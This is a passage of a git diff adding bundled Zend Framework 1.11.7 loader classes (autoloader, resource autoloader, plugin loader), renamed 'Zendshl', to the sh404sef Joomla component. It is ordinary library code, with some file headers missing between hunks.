@return array + */ + public static function explodeIncludePath($path = null) + { + if (null === $path) { + $path = get_include_path(); + } + + if (PATH_SEPARATOR == ':') { + // On *nix systems, include_paths which include paths with a stream + // schema cannot be safely explode'd, so we have to be a bit more + // intelligent in the approach. + $paths = preg_split('#:(?!//)#', $path); + } else { + $paths = explode(PATH_SEPARATOR, $path); + } + return $paths; + } + + /** + * spl_autoload() suitable implementation for supporting class autoloading. + * + * Attach to spl_autoload() using the following: + * + * spl_autoload_register(array('Zendshl_Loader', 'autoload')); + * + * + * @deprecated Since 1.8.0 + * @param string $class + * @return string|false Class name on success; false on failure + */ + public static function autoload($class) + { + trigger_error(__CLASS__ . '::' . __METHOD__ . ' is deprecated as of 1.8.0 and will be removed with 2.0.0; use Zendshl_Loader_Autoloader instead', E_USER_NOTICE); + try { + @self::loadClass($class); + return $class; + } catch (Exception $e) { + return false; + } + } + + /** + * Register {@link autoload()} with spl_autoload() + * + * @deprecated Since 1.8.0 + * @param string $class (optional) + * @param boolean $enabled (optional) + * @return void + * @throws Zendshl_Exception if spl_autoload() is not found + * or if the specified class does not have an autoload() method. + */ + public static function registerAutoload($class = 'Zendshl_Loader', $enabled = true) + { + trigger_error(__CLASS__ . '::' . __METHOD__ . ' is deprecated as of 1.8.0 and will be removed with 2.0.0; use Zendshl_Loader_Autoloader instead', E_USER_NOTICE); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Autoloader.php'; + $autoloader = Zendshl_Loader_Autoloader::getInstance(); + $autoloader->setFallbackAutoloader(true); + + if ('Zendshl_Loader' != $class) { + self::loadClass($class); + $methods = get_class_methods($class); + if (!in_array('autoload', (array) $methods)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Exception.php'; + throw new Zendshl_Exception("The class \"$class\" does not have an autoload() method"); + } + + $callback = array($class, 'autoload'); + + if ($enabled) { + $autoloader->pushAutoloader($callback); + } else { + $autoloader->removeAutoloader($callback); + } + } + } + + /** + * Ensure that filename does not contain exploits + * + * @param string $filename + * @return void + * @throws Zendshl_Exception + */ + protected static function _securityCheck($filename) + { + /** + * Security check + */ + if (preg_match('/[^a-z0-9\\/\\\\_.:-]/i', $filename)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Exception.php'; + throw new Zendshl_Exception('Security check: Illegal character in filename'); + } + } + + /** + * Attempt to include() the file. + * + * include() is not prefixed with the @ operator because if + * the file is loaded and contains a parse error, execution + * will halt silently and this is difficult to debug. + * + * Always set display_errors = Off on production servers! + * + * @param string $filespec + * @param boolean $once + * @return boolean + * @deprecated Since 1.5.0; use loadFile() instead + */ + protected static function _includeFile($filespec, $once = false) + { + if ($once) { + return include_once $filespec; + } else { + return include $filespec ; + } + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader.php new file mode 100644 index 00000000..2ab0f01a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader.php @@ -0,0 +1,590 @@ + true, + 'ZendshlX_' => true, + ); + + /** + * @var array Namespace-specific autoloaders + */ + protected $_namespaceAutoloaders = array(); + + /** + * @var bool Whether or not to suppress file not found warnings + */ + protected $_suppressNotFoundWarnings = false; + + /** + * @var null|string + */ + protected $_zfPath; + + /** + * Retrieve singleton instance + * + * @return Zendshl_Loader_Autoloader + */ + public static function getInstance() + { + if (null === self::$_instance) { + self::$_instance = new self(); + } + return self::$_instance; + } + + /** + * Reset the singleton instance + * + * @return void + */ + public static function resetInstance() + { + self::$_instance = null; + } + + /** + * Autoload a class + * + * @param string $class + * @return bool + */ + public static function autoload($class) + { + $self = self::getInstance(); + + foreach ($self->getClassAutoloaders($class) as $autoloader) { + if ($autoloader instanceof Zendshl_Loader_Autoloader_Interface) { + if ($autoloader->autoload($class)) { + return true; + } + } elseif (is_array($autoloader)) { + if (call_user_func($autoloader, $class)) { + return true; + } + } elseif (is_string($autoloader) || is_callable($autoloader)) { + if ($autoloader($class)) { + return true; + } + } + } + + return false; + } + + /** + * Set the default autoloader implementation + * + * @param string|array $callback PHP callback + * @return void + */ + public function setDefaultAutoloader($callback) + { + if (!is_callable($callback)) { + throw new Zendshl_Loader_Exception('Invalid callback specified for default autoloader'); + } + + $this->_defaultAutoloader = $callback; + return $this; + } + + /** + * Retrieve the default autoloader callback + * + * @return string|array PHP Callback + */ + public function getDefaultAutoloader() + { + return $this->_defaultAutoloader; + } + + /** + * Set several autoloader callbacks at once + * + * @param array $autoloaders Array of PHP callbacks (or Zendshl_Loader_Autoloader_Interface implementations) to act as autoloaders + * @return Zendshl_Loader_Autoloader + */ + public function setAutoloaders(array $autoloaders) + { + $this->_autoloaders = $autoloaders; + return $this; + } + + /** + * Get attached autoloader implementations + * + * @return array + */ + public function getAutoloaders() + { + return $this->_autoloaders; + } + + /** + * Return all autoloaders for a given namespace + * + * @param string $namespace + * @return array + */ + public function getNamespaceAutoloaders($namespace) + { + $namespace = (string) $namespace; + if (!array_key_exists($namespace, $this->_namespaceAutoloaders)) { + return array(); + } + return $this->_namespaceAutoloaders[$namespace]; + } + + /** + * Register a namespace to autoload + * + * @param string|array $namespace + * @return Zendshl_Loader_Autoloader + */ + public function registerNamespace($namespace) + { + if (is_string($namespace)) { + $namespace = (array) $namespace; + } elseif (!is_array($namespace)) { + throw new Zendshl_Loader_Exception('Invalid namespace provided'); + } + + foreach ($namespace as $ns) { + if (!isset($this->_namespaces[$ns])) { + $this->_namespaces[$ns] = true; + } + } + return $this; + } + + /** + * Unload a registered autoload namespace + * + * @param string|array $namespace + * @return Zendshl_Loader_Autoloader + */ + public function unregisterNamespace($namespace) + { + if (is_string($namespace)) { + $namespace = (array) $namespace; + } elseif (!is_array($namespace)) { + throw new Zendshl_Loader_Exception('Invalid namespace provided'); + } + + foreach ($namespace as $ns) { + if (isset($this->_namespaces[$ns])) { + unset($this->_namespaces[$ns]); + } + } + return $this; + } + + /** + * Get a list of registered autoload namespaces + * + * @return array + */ + public function getRegisteredNamespaces() + { + return array_keys($this->_namespaces); + } + + public function setZfPath($spec, $version = 'latest') + { + $path = $spec; + if (is_array($spec)) { + if (!isset($spec['path'])) { + throw new Zendshl_Loader_Exception('No path specified for ZF'); + } + $path = $spec['path']; + if (isset($spec['version'])) { + $version = $spec['version']; + } + } + + $this->_zfPath = $spec . '/ZendFramework-1.11.7-minimal/library'; + set_include_path(implode(PATH_SEPARATOR, array( + $this->_zfPath, + get_include_path(), + ))); + return $this; + } + + public function getZfPath() + { + return $this->_zfPath; + } + + /** + * Get or set the value of the "suppress not found warnings" flag + * + * @param null|bool $flag + * @return bool|Zendshl_Loader_Autoloader Returns boolean if no argument is passed, object instance otherwise + */ + public function suppressNotFoundWarnings($flag = null) + { + if (null === $flag) { + return $this->_suppressNotFoundWarnings; + } + $this->_suppressNotFoundWarnings = (bool) $flag; + return $this; + } + + /** + * Indicate whether or not this autoloader should be a fallback autoloader + * + * @param bool $flag + * @return Zendshl_Loader_Autoloader + */ + public function setFallbackAutoloader($flag) + { + $this->_fallbackAutoloader = (bool) $flag; + return $this; + } + + /** + * Is this instance acting as a fallback autoloader? + * + * @return bool + */ + public function isFallbackAutoloader() + { + return $this->_fallbackAutoloader; + } + + /** + * Get autoloaders to use when matching class + * + * Determines if the class matches a registered namespace, and, if so, + * returns only the autoloaders for that namespace. Otherwise, it returns + * all non-namespaced autoloaders. + * + * @param string $class + * @return array Array of autoloaders to use + */ + public function getClassAutoloaders($class) + { + $namespace = false; + $autoloaders = array(); + + // Add concrete namespaced autoloaders + foreach (array_keys($this->_namespaceAutoloaders) as $ns) { + if ('' == $ns) { + continue; + } + if (0 === strpos($class, $ns)) { + if ((false === $namespace) || (strlen($ns) > strlen($namespace))) { + $namespace = $ns; + $autoloaders = $this->getNamespaceAutoloaders($ns); + } + } + } + + // Add internal namespaced autoloader + foreach ($this->getRegisteredNamespaces() as $ns) { + if (0 === strpos($class, $ns)) { + $namespace = $ns; + $autoloaders[] = $this->_internalAutoloader; + break; + } + } + + // Add non-namespaced autoloaders + $autoloadersNonNamespace = $this->getNamespaceAutoloaders(''); + if (count($autoloadersNonNamespace)) { + foreach ($autoloadersNonNamespace as $ns) { + $autoloaders[] = $ns; + } + unset($autoloadersNonNamespace); + } + + // Add fallback autoloader + if (!$namespace && $this->isFallbackAutoloader()) { + $autoloaders[] = $this->_internalAutoloader; + } + + return $autoloaders; + } + + /** + * Add an autoloader to the beginning of the stack + * + * @param object|array|string $callback PHP callback or Zendshl_Loader_Autoloader_Interface implementation + * @param string|array $namespace Specific namespace(s) under which to register callback + * @return Zendshl_Loader_Autoloader + */ + public function unshiftAutoloader($callback, $namespace = '') + { + $autoloaders = $this->getAutoloaders(); + array_unshift($autoloaders, $callback); + $this->setAutoloaders($autoloaders); + + $namespace = (array) $namespace; + foreach ($namespace as $ns) { + $autoloaders = $this->getNamespaceAutoloaders($ns); + array_unshift($autoloaders, $callback); + $this->_setNamespaceAutoloaders($autoloaders, $ns); + } + + return $this; + } + + /** + * Append an autoloader to the autoloader stack + * + * @param object|array|string $callback PHP callback or Zendshl_Loader_Autoloader_Interface implementation + * @param string|array $namespace Specific namespace(s) under which to register callback + * @return Zendshl_Loader_Autoloader + */ + public function pushAutoloader($callback, $namespace = '') + { + $autoloaders = $this->getAutoloaders(); + array_push($autoloaders, $callback); + $this->setAutoloaders($autoloaders); + + $namespace = (array) $namespace; + foreach ($namespace as $ns) { + $autoloaders = $this->getNamespaceAutoloaders($ns); + array_push($autoloaders, $callback); + $this->_setNamespaceAutoloaders($autoloaders, $ns); + } + + return $this; + } + + /** + * Remove an autoloader from the autoloader stack + * + * @param object|array|string $callback PHP callback or Zendshl_Loader_Autoloader_Interface implementation + * @param null|string|array $namespace Specific namespace(s) from which to remove autoloader + * @return Zendshl_Loader_Autoloader + */ + public function removeAutoloader($callback, $namespace = null) + { + if (null === $namespace) { + $autoloaders = $this->getAutoloaders(); + if (false !== ($index = array_search($callback, $autoloaders, true))) { + unset($autoloaders[$index]); + $this->setAutoloaders($autoloaders); + } + + foreach ($this->_namespaceAutoloaders as $ns => $autoloaders) { + if (false !== ($index = array_search($callback, $autoloaders, true))) { + unset($autoloaders[$index]); + $this->_setNamespaceAutoloaders($autoloaders, $ns); + } + } + } else { + $namespace = (array) $namespace; + foreach ($namespace as $ns) { + $autoloaders = $this->getNamespaceAutoloaders($ns); + if (false !== ($index = array_search($callback, $autoloaders, true))) { + unset($autoloaders[$index]); + $this->_setNamespaceAutoloaders($autoloaders, $ns); + } + } + } + + return $this; + } + + /** + * Constructor + * + * Registers instance with spl_autoload stack + * + * @return void + */ + protected function __construct() + { + spl_autoload_register(array(__CLASS__, 'autoload')); + $this->_internalAutoloader = array($this, '_autoload'); + } + + /** + * Internal autoloader implementation + * + * @param string $class + * @return bool + */ + protected function _autoload($class) + { + $callback = $this->getDefaultAutoloader(); + try { + if ($this->suppressNotFoundWarnings()) { + @call_user_func($callback, $class); + } else { + call_user_func($callback, $class); + } + return $class; + } catch (Zendshl_Exception $e) { + return false; + } + } + + /** + * Set autoloaders for a specific namespace + * + * @param array $autoloaders + * @param string $namespace + * @return Zendshl_Loader_Autoloader + */ + protected function _setNamespaceAutoloaders(array $autoloaders, $namespace = '') + { + $namespace = (string) $namespace; + $this->_namespaceAutoloaders[$namespace] = $autoloaders; + return $this; + } + + /** + * Retrieve the filesystem path for the requested ZF version + * + * @param string $path + * @param string $version + * @return void + */ + protected function _getVersionPath($path, $version) + { + $type = $this->_getVersionType($version); + + if ($type == 'latest') { + $version = 'latest'; + } + + $availableVersions = $this->_getAvailableVersions($path, $version); + if (empty($availableVersions)) { + throw new Zendshl_Loader_Exception('No valid ZF installations discovered'); + } + + $matchedVersion = array_pop($availableVersions); + return $matchedVersion; + } + + /** + * Retrieve the ZF version type + * + * @param string $version + * @return string "latest", "major", "minor", or "specific" + * @throws Zendshl_Loader_Exception if version string contains too many dots + */ + protected function _getVersionType($version) + { + if (strtolower($version) == 'latest') { + return 'latest'; + } + + $parts = explode('.', $version); + $count = count($parts); + if (1 == $count) { + return 'major'; + } + if (2 == $count) { + return 'minor'; + } + if (3 < $count) { + throw new Zendshl_Loader_Exception('Invalid version string provided'); + } + return 'specific'; + } + + /** + * Get available versions for the version type requested + * + * @param string $path + * @param string $version + * @return array + */ + protected function _getAvailableVersions($path, $version) + { + if (!is_dir($path)) { + throw new Zendshl_Loader_Exception('Invalid ZF path provided'); + } + + $path = rtrim($path, '/'); + $path = rtrim($path, '\\'); + $versionLen = strlen($version); + $versions = array(); + $dirs = glob("$path/*", GLOB_ONLYDIR); + foreach ((array) $dirs as $dir) { + $dirName = substr($dir, strlen($path) + 1); + if (!preg_match('/^(?:ZendFramework-)?(\d+\.\d+\.\d+((a|b|pl|pr|p|rc)\d+)?)(?:-minimal)?$/i', $dirName, $matches)) { + continue; + } + + $matchedVersion = $matches[1]; + + if (('latest' == $version) + || ((strlen($matchedVersion) >= $versionLen) + && (0 === strpos($matchedVersion, $version))) + ) { + $versions[$matchedVersion] = $dir . '/library'; + } + } + + uksort($versions, 'version_compare'); + return $versions; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Interface.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Interface.php new file mode 100644 index 00000000..7e55fd9a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Interface.php @@ -0,0 +1,44 @@ +toArray(); + } + if (!is_array($options)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Options must be passed to resource loader constructor'); + } + + $this->setOptions($options); + + $namespace = $this->getNamespace(); + if ((null === $namespace) + || (null === $this->getBasePath()) + ) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Resource loader requires both a namespace and a base path for initialization'); + } + + if (!empty($namespace)) { + $namespace .= '_'; + } + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Autoloader.php'; + Zendshl_Loader_Autoloader::getInstance()->unshiftAutoloader($this, $namespace); + } + + /** + * Overloading: methods + * + * Allow retrieving concrete resource object instances using 'get()' + * syntax. Example: + * + * $loader = new Zendshl_Loader_Autoloader_Resource(array( + * 'namespace' => 'Stuff_', + * 'basePath' => '/path/to/some/stuff', + * )) + * $loader->addResourceType('Model', 'models', 'Model'); + * + * $foo = $loader->getModel('Foo'); // get instance of Stuff_Model_Foo class + * + * + * @param string $method + * @param array $args + * @return mixed + * @throws Zendshl_Loader_Exception if method not beginning with 'get' or not matching a valid resource type is called + */ + public function __call($method, $args) + { + if ('get' == substr($method, 0, 3)) { + $type = strtolower(substr($method, 3)); + if (!$this->hasResourceType($type)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception("Invalid resource type $type; cannot load resource"); + } + if (empty($args)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception("Cannot load resources; no resource specified"); + } + $resource = array_shift($args); + return $this->load($resource, $type); + } + + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception("Method '$method' is not supported"); + } + + /** + * Helper method to calculate the correct class path + * + * @param string $class + * @return False if not matched other wise the correct path + */ + public function getClassPath($class) + { + $segments = explode('_', $class); + $namespaceTopLevel = $this->getNamespace(); + $namespace = ''; + + if (!empty($namespaceTopLevel)) { + $namespace = array(); + $topLevelSegments = count(explode('_', $namespaceTopLevel)); + for ($i = 0; $i < $topLevelSegments; $i++) { + $namespace[] = array_shift($segments); + } + $namespace = implode('_', $namespace); + if ($namespace != $namespaceTopLevel) { + // wrong prefix? we're done + return false; + } + } + + if (count($segments) < 2) { + // assumes all resources have a component and class name, minimum + return false; + } + + $final = array_pop($segments); + $component = $namespace; + $lastMatch = false; + do { + $segment = array_shift($segments); + $component .= empty($component) ? $segment : '_' . $segment; + if (isset($this->_components[$component])) { + $lastMatch = $component; + } + } while (count($segments)); + + if (!$lastMatch) { + return false; + } + + $final = substr($class, strlen($lastMatch) + 1); + $path = $this->_components[$lastMatch]; + $classPath = $path . '/' . str_replace('_', '/', $final) . '.php'; + + if (Zendshl_Loader::isReadable($classPath)) { + return $classPath; + } + + return false; + } + + /** + * Attempt to autoload a class + * + * @param string $class + * @return mixed False if not matched, otherwise result if include operation + */ + public function autoload($class) + { + $classPath = $this->getClassPath($class); + if (false !== $classPath) { + return include $classPath; + } + return false; + } + + /** + * Set class state from options + * + * @param array $options + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setOptions(array $options) + { + // Set namespace first, see ZF-10836 + if (isset($options['namespace'])) { + $this->setNamespace($options['namespace']); + unset($options['namespace']); + } + + $methods = get_class_methods($this); + foreach ($options as $key => $value) { + $method = 'set' . ucfirst($key); + if (in_array($method, $methods)) { + $this->$method($value); + } + } + return $this; + } + + /** + * Set namespace that this autoloader handles + * + * @param string $namespace + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setNamespace($namespace) + { + $this->_namespace = rtrim((string) $namespace, '_'); + return $this; + } + + /** + * Get namespace this autoloader handles + * + * @return string + */ + public function getNamespace() + { + return $this->_namespace; + } + + /** + * Set base path for this set of resources + * + * @param string $path + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setBasePath($path) + { + $this->_basePath = (string) $path; + return $this; + } + + /** + * Get base path to this set of resources + * + * @return string + */ + public function getBasePath() + { + return $this->_basePath; + } + + /** + * Add resource type + * + * @param string $type identifier for the resource type being loaded + * @param string $path path relative to resource base path containing the resource types + * @param null|string $namespace sub-component namespace to append to base namespace that qualifies this resource type + * @return Zendshl_Loader_Autoloader_Resource + */ + public function addResourceType($type, $path, $namespace = null) + { + $type = strtolower($type); + if (!isset($this->_resourceTypes[$type])) { + if (null === $namespace) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Initial definition of a resource type must include a namespace'); + } + $namespaceTopLevel = $this->getNamespace(); + $namespace = ucfirst(trim($namespace, '_')); + $this->_resourceTypes[$type] = array( + 'namespace' => empty($namespaceTopLevel) ? $namespace : $namespaceTopLevel . '_' . $namespace, + ); + } + if (!is_string($path)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Invalid path specification provided; must be string'); + } + $this->_resourceTypes[$type]['path'] = $this->getBasePath() . '/' . rtrim($path, '\/'); + + $component = $this->_resourceTypes[$type]['namespace']; + $this->_components[$component] = $this->_resourceTypes[$type]['path']; + return $this; + } + + /** + * Add multiple resources at once + * + * $types should be an associative array of resource type => specification + * pairs. Each specification should be an associative array containing + * minimally the 'path' key (specifying the path relative to the resource + * base path) and optionally the 'namespace' key (indicating the subcomponent + * namespace to append to the resource namespace). + * + * As an example: + * + * $loader->addResourceTypes(array( + * 'model' => array( + * 'path' => 'models', + * 'namespace' => 'Model', + * ), + * 'form' => array( + * 'path' => 'forms', + * 'namespace' => 'Form', + * ), + * )); + * + * + * @param array $types + * @return Zendshl_Loader_Autoloader_Resource + */ + public function addResourceTypes(array $types) + { + foreach ($types as $type => $spec) { + if (!is_array($spec)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('addResourceTypes() expects an array of arrays'); + } + if (!isset($spec['path'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('addResourceTypes() expects each array to include a paths element'); + } + $paths = $spec['path']; + $namespace = null; + if (isset($spec['namespace'])) { + $namespace = $spec['namespace']; + } + $this->addResourceType($type, $paths, $namespace); + } + return $this; + } + + /** + * Overwrite existing and set multiple resource types at once + * + * @see Zendshl_Loader_Autoloader_Resource::addResourceTypes() + * @param array $types + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setResourceTypes(array $types) + { + $this->clearResourceTypes(); + return $this->addResourceTypes($types); + } + + /** + * Retrieve resource type mappings + * + * @return array + */ + public function getResourceTypes() + { + return $this->_resourceTypes; + } + + /** + * Is the requested resource type defined? + * + * @param string $type + * @return bool + */ + public function hasResourceType($type) + { + return isset($this->_resourceTypes[$type]); + } + + /** + * Remove the requested resource type + * + * @param string $type + * @return Zendshl_Loader_Autoloader_Resource + */ + public function removeResourceType($type) + { + if ($this->hasResourceType($type)) { + $namespace = $this->_resourceTypes[$type]['namespace']; + unset($this->_components[$namespace]); + unset($this->_resourceTypes[$type]); + } + return $this; + } + + /** + * Clear all resource types + * + * @return Zendshl_Loader_Autoloader_Resource + */ + public function clearResourceTypes() + { + $this->_resourceTypes = array(); + $this->_components = array(); + return $this; + } + + /** + * Set default resource type to use when calling load() + * + * @param string $type + * @return Zendshl_Loader_Autoloader_Resource + */ + public function setDefaultResourceType($type) + { + if ($this->hasResourceType($type)) { + $this->_defaultResourceType = $type; + } + return $this; + } + + /** + * Get default resource type to use when calling load() + * + * @return string|null + */ + public function getDefaultResourceType() + { + return $this->_defaultResourceType; + } + + /** + * Object registry and factory + * + * Loads the requested resource of type $type (or uses the default resource + * type if none provided). If the resource has been loaded previously, + * returns the previous instance; otherwise, instantiates it. + * + * @param string $resource + * @param string $type + * @return object + * @throws Zendshl_Loader_Exception if resource type not specified or invalid + */ + public function load($resource, $type = null) + { + if (null === $type) { + $type = $this->getDefaultResourceType(); + if (empty($type)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('No resource type specified'); + } + } + if (!$this->hasResourceType($type)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/Exception.php'; + throw new Zendshl_Loader_Exception('Invalid resource type specified'); + } + $namespace = $this->_resourceTypes[$type]['namespace']; + $class = $namespace . '_' . ucfirst($resource); + if (!isset($this->_resources[$class])) { + $this->_resources[$class] = new $class; + } + return $this->_resources[$class]; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Exception.php new file mode 100644 index 00000000..daeb8f25 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Exception.php @@ -0,0 +1,36 @@ +_useStaticRegistry = $staticRegistryName; + if(!isset(self::$_staticPrefixToPaths[$staticRegistryName])) { + self::$_staticPrefixToPaths[$staticRegistryName] = array(); + } + if(!isset(self::$_staticLoadedPlugins[$staticRegistryName])) { + self::$_staticLoadedPlugins[$staticRegistryName] = array(); + } + } + + foreach ($prefixToPaths as $prefix => $path) { + $this->addPrefixPath($prefix, $path); + } + } + + /** + * Format prefix for internal use + * + * @param string $prefix + * @return string + */ + protected function _formatPrefix($prefix) + { + if($prefix == "") { + return $prefix; + } + + $last = strlen($prefix) - 1; + if ($prefix{$last} == '\\') { + return $prefix; + } + + return rtrim($prefix, '_') . '_'; + } + + /** + * Add prefixed paths to the registry of paths + * + * @param string $prefix + * @param string $path + * @return Zendshl_Loader_PluginLoader + */ + public function addPrefixPath($prefix, $path) + { + if (!is_string($prefix) || !is_string($path)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Zendshl_Loader_PluginLoader::addPrefixPath() method only takes strings for prefix and path.'); + } + + $prefix = $this->_formatPrefix($prefix); + $path = rtrim($path, '/\\') . '/'; + + if ($this->_useStaticRegistry) { + self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix][] = $path; + } else { + if (!isset($this->_prefixToPaths[$prefix])) { + $this->_prefixToPaths[$prefix] = array(); + } + if (!in_array($path, $this->_prefixToPaths[$prefix])) { + $this->_prefixToPaths[$prefix][] = $path; + } + } + return $this; + } + + /** + * Get path stack + * + * @param string $prefix + * @return false|array False if prefix does not exist, array otherwise + */ + public function getPaths($prefix = null) + { + if ((null !== $prefix) && is_string($prefix)) { + $prefix = $this->_formatPrefix($prefix); + if ($this->_useStaticRegistry) { + if (isset(self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix])) { + return self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix]; + } + + return false; + } + + if (isset($this->_prefixToPaths[$prefix])) { + return $this->_prefixToPaths[$prefix]; + } + + return false; + } + + if ($this->_useStaticRegistry) { + return self::$_staticPrefixToPaths[$this->_useStaticRegistry]; + } + + return $this->_prefixToPaths; + } + + /** + * Clear path stack + * + * @param string $prefix + * @return bool False only if $prefix does not exist + */ + public function clearPaths($prefix = null) + { + if ((null !== $prefix) && is_string($prefix)) { + $prefix = $this->_formatPrefix($prefix); + if ($this->_useStaticRegistry) { + if (isset(self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix])) { + unset(self::$_staticPrefixToPaths[$this->_useStaticRegistry][$prefix]); + return true; + } + + return false; + } + + if (isset($this->_prefixToPaths[$prefix])) { + unset($this->_prefixToPaths[$prefix]); + return true; + } + + return false; + } + + if ($this->_useStaticRegistry) { + self::$_staticPrefixToPaths[$this->_useStaticRegistry] = array(); + } else { + $this->_prefixToPaths = array(); + } + + return true; + } + + /** + * Remove a prefix (or prefixed-path) from the registry + * + * @param string $prefix + * @param string $path OPTIONAL + * @return Zendshl_Loader_PluginLoader + */ + public function removePrefixPath($prefix, $path = null) + { + $prefix = $this->_formatPrefix($prefix); + if ($this->_useStaticRegistry) { + $registry =& self::$_staticPrefixToPaths[$this->_useStaticRegistry]; + } else { + $registry =& $this->_prefixToPaths; + } + + if (!isset($registry[$prefix])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Prefix ' . $prefix . ' was not found in the PluginLoader.'); + } + + if ($path != null) { + $pos = array_search($path, $registry[$prefix]); + if (false === $pos) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Prefix ' . $prefix . ' / Path ' . $path . ' was not found in the PluginLoader.'); + } + unset($registry[$prefix][$pos]); + } else { + unset($registry[$prefix]); + } + + return $this; + } + + /** + * Normalize plugin name + * + * @param string $name + * @return string + */ + protected function _formatName($name) + { + return ucfirst((string) $name); + } + + /** + * Whether or not a Plugin by a specific name is loaded + * + * @param string $name + * @return Zendshl_Loader_PluginLoader + */ + public function isLoaded($name) + { + $name = $this->_formatName($name); + if ($this->_useStaticRegistry) { + return isset(self::$_staticLoadedPlugins[$this->_useStaticRegistry][$name]); + } + + return isset($this->_loadedPlugins[$name]); + } + + /** + * Return full class name for a named plugin + * + * @param string $name + * @return string|false False if class not found, class name otherwise + */ + public function getClassName($name) + { + $name = $this->_formatName($name); + if ($this->_useStaticRegistry + && isset(self::$_staticLoadedPlugins[$this->_useStaticRegistry][$name]) + ) { + return self::$_staticLoadedPlugins[$this->_useStaticRegistry][$name]; + } elseif (isset($this->_loadedPlugins[$name])) { + return $this->_loadedPlugins[$name]; + } + + return false; + } + + /** + * Get path to plugin class + * + * @param mixed $name + * @return string|false False if not found + */ + public function getClassPath($name) + { + $name = $this->_formatName($name); + if ($this->_useStaticRegistry + && !empty(self::$_staticLoadedPluginPaths[$this->_useStaticRegistry][$name]) + ) { + return self::$_staticLoadedPluginPaths[$this->_useStaticRegistry][$name]; + } elseif (!empty($this->_loadedPluginPaths[$name])) { + return $this->_loadedPluginPaths[$name]; + } + + if ($this->isLoaded($name)) { + $class = $this->getClassName($name); + $r = new ReflectionClass($class); + $path = $r->getFileName(); + if ($this->_useStaticRegistry) { + self::$_staticLoadedPluginPaths[$this->_useStaticRegistry][$name] = $path; + } else { + $this->_loadedPluginPaths[$name] = $path; + } + return $path; + } + + return false; + } + + /** + * Load a plugin via the name provided + * + * @param string $name + * @param bool $throwExceptions Whether or not to throw exceptions if the + * class is not resolved + * @return string|false Class name of loaded class; false if $throwExceptions + * if false and no class found + * @throws Zendshl_Loader_Exception if class not found + */ + public function load($name, $throwExceptions = true) + { + $name = $this->_formatName($name); + if ($this->isLoaded($name)) { + return $this->getClassName($name); + } + + if ($this->_useStaticRegistry) { + $registry = self::$_staticPrefixToPaths[$this->_useStaticRegistry]; + } else { + $registry = 